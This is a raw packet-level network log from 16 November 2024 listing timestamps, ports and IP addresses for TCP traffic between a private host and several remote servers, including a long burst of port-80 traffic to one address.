Nov 16, 2024 23:36:35.829260111 CET	443	49865	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.829627037 CET	443	49865	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.832019091 CET	49865	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.832097054 CET	443	49865	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.832189083 CET	49865	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.875329018 CET	443	49865	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:35.920295954 CET	49879	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.920290947 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.920308113 CET	443	49879	23.221.22.208	192.168.2.5
Nov 16, 2024 23:36:35.920305967 CET	49875	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.920358896 CET	49865	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:35.922924042 CET	443	49875	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.923094034 CET	443	49875	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.923639059 CET	49875	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.923717976 CET	49875	443	192.168.2.5	162.159.61.3
Nov 16, 2024 23:36:35.923758984 CET	443	49875	162.159.61.3	192.168.2.5
Nov 16, 2024 23:36:35.937952042 CET	443	49873	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.938138962 CET	443	49873	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.938201904 CET	49873	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.938239098 CET	49873	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.938246965 CET	443	49873	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.938258886 CET	49873	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.938263893 CET	443	49873	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.941184044 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.941215038 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.941303015 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.941426992 CET	49884	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.941433907 CET	443	49884	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.942471027 CET	443	49872	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.942598104 CET	443	49872	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.942907095 CET	49872	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.942907095 CET	49872	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.942982912 CET	49872	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.943037033 CET	443	49872	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.944842100 CET	49885	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.944864035 CET	443	49885	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.945311069 CET	49885	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.945417881 CET	49885	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.945429087 CET	443	49885	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.948970079 CET	49878	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:35.972701073 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.972914934 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.973061085 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.973107100 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.973107100 CET	49874	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.973129034 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.973153114 CET	443	49874	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.975271940 CET	49886	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.975294113 CET	443	49886	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.975455046 CET	49886	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.975714922 CET	49886	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.975728035 CET	443	49886	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.985061884 CET	443	49881	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.985380888 CET	49881	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.985433102 CET	443	49881	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:35.985757113 CET	49881	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:35.985769987 CET	443	49881	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.006021976 CET	443	49880	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.006489038 CET	49880	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.006508112 CET	443	49880	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.007328987 CET	49880	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.007333994 CET	443	49880	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.028798103 CET	49879	443	192.168.2.5	23.221.22.208
Nov 16, 2024 23:36:36.061650991 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.061681032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.061734915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.061737061 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.061772108 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.061773062 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.061806917 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.061820984 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.061842918 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.061847925 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.061944008 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.063163996 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.063215971 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.063250065 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.063282013 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.063285112 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.063319921 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.063335896 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.063339949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.063503981 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.064452887 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.064505100 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.064516068 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.064538956 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.064570904 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.064572096 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.064598083 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.064606905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.064616919 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.064699888 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.064765930 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.064793110 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.064817905 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.064846992 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.064856052 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.064872980 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.064878941 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.064892054 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.064960957 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.064999104 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.065033913 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.065046072 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.065068960 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.065093040 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.065108061 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.065896988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.065929890 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.065963030 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.065965891 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.065983057 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066052914 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066104889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066138983 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066168070 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066174030 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066188097 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066207886 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066246986 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066253901 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066298962 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066333055 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066355944 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066390038 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066425085 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066446066 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066458941 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066490889 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066503048 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066528082 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066560030 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066592932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066626072 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066626072 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066652060 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066660881 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066665888 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066694021 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066723108 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066728115 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066761017 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066798925 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066803932 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066833019 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066883087 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066916943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066929102 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.066951990 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.066979885 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067003012 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067014933 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067048073 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067060947 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067097902 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067132950 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067167997 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067177057 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067200899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067234039 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067245007 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067270041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067292929 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067302942 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067342043 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067351103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067384958 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067418098 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067425966 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067451954 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067485094 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067517996 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067532063 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067553043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067580938 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067588091 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067612886 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067620993 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067630053 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067653894 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067687988 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067720890 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067751884 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067754984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067771912 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067789078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067825079 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067858934 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.067867994 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.067940950 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068003893 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068078995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068111897 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068146944 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068156004 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068197012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068238974 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068243027 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068273067 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068306923 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068340063 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068356991 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068373919 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068408012 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068413973 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068442106 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068470001 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068490982 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068505049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068538904 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068552017 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068572044 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068604946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068639040 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068666935 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068675995 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068708897 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068741083 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068742037 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068775892 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068784952 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068809032 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068840981 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068873882 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068887949 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068906069 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068939924 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.068948984 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.068973064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.069009066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.069016933 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.069103956 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.085927963 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.085985899 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.086065054 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.086085081 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.086338043 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.086411953 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.087054014 CET	49867	443	192.168.2.5	13.107.246.57
Nov 16, 2024 23:36:36.087074995 CET	443	49867	13.107.246.57	192.168.2.5
Nov 16, 2024 23:36:36.140738964 CET	443	49881	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.140902996 CET	443	49881	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.141649008 CET	49881	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.141736031 CET	49881	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.141736031 CET	49881	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.141776085 CET	443	49881	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.141808033 CET	443	49881	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.143960953 CET	49888	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.144010067 CET	443	49888	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.144076109 CET	49888	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.144203901 CET	49888	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.144224882 CET	443	49888	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.149508953 CET	443	49880	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.149717093 CET	443	49880	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.149781942 CET	49880	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.149805069 CET	49880	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.149805069 CET	49880	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.149820089 CET	443	49880	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.149828911 CET	443	49880	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.151958942 CET	49889	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.151973009 CET	443	49889	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.152194977 CET	49889	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.153430939 CET	49889	443	192.168.2.5	13.107.246.45
Nov 16, 2024 23:36:36.153445959 CET	443	49889	13.107.246.45	192.168.2.5
Nov 16, 2024 23:36:36.181998014 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.182027102 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.182050943 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.182065010 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.182080984 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.182104111 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.182149887 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.182473898 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.182498932 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.182513952 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.182527065 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.182559013 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.182816982 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.182832956 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.182861090 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.182890892 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183283091 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183305025 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183331013 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183360100 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183370113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183379889 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183387041 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183403015 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183451891 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183497906 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183512926 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183546066 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183559895 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183566093 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183574915 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183587074 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183607101 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183608055 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183640957 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183687925 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183705091 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183741093 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183752060 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183757067 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183789968 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183814049 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183830023 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183832884 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183845043 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183860064 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183872938 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183888912 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183913946 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183917046 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183964968 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.183967113 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.183993101 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184005976 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.184009075 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184027910 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184051037 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.184057951 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184071064 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.184073925 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184089899 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184097052 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.184118032 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.184130907 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.184391975 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184406996 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184451103 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184473038 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184494972 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.184503078 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184525967 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.184545994 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184555054 CET	49824	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:36.184568882 CET	80	49824	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:36.184586048 CET	80	49824	185.215.113.206	192.168.2.5
